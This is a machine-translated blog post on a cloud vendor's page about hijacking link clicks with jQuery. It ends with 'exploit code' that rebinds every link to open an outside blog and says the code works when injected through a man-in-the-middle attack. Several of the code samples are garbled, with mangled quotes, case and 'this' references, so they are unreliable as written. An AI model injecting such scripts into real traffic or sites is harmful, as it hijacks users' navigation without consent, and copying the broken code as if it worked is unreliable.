jquery Implementation Click Hijack Code

Source: Internet
Author: User

have been looking for a full-screen transparent layer click on the popup code, although not found, but there are some unexpected new discoveries

When browsing Baidu knows, found jquery can add the onclick event for Div

The code is as follows:

<script type= "Text/javascript" src= "jquery.js" ></script><div id= "one" >1</div><div id= " One ">2</div><div id=" one ">3</div><div id=" one ">4</div><div id=" one ">5</ Div><script type= "Text/javascript" >  $ (function () {    $ ("div"). each (function () {      $ (this). Click ( function () {        alert (this). text ());})      ;    </script>
So that each div can be given a click event, what about the body tag? <a> What about labels?

I did the tests separately and found under the WebKit kernel:

<script type= "Text/javascript" src= "jquery.js" ></script><div id= "one" >1</div><div id= " One ">2</div><div id=" one ">3</div><div id=" one ">4</div><div id=" one ">5</ Div><body>aaaa</body><a href= "http://baidu.com/" >a</a><script type= "text/ JavaScript >  $ (function () {    $ ("div"). each (function () {      $ (). Click (function () {        alert ( ). text ());      }    ); $ ("body"). each (function () {      $ (the). Click (function () {        alert (this). text ());});})    ;    $ ("a"). each (function () {      $ (the). Click (function () {        alert (this). text ());    });});  </script>

When you click on the BODY element, the source code of the webpage appears, and when you click the <a> tab, the alert pops up and then goes to the link! In other words, the successful use of jquery hijacked the link!

See this article http://www.cdxwcx.com/faq/htmldivLink.html for Div plus jump, the final exploit code is as follows:

<a href= "http://baidu.com/" > I'm just an innocent link </a><script type= "text/javascript" src= "/HTTP/ Lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js "></script><script type=" Text/javascript ">  $ (function () {    $ ("a"). each (function () {      $ (). Click (function () {        window.open (' http:// blog.csdn.net/qq754406613 ');});  </script>

Inject this code when pro-Test man-in-the-middle attacks are available

jquery Implementation Click Hijack Code

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.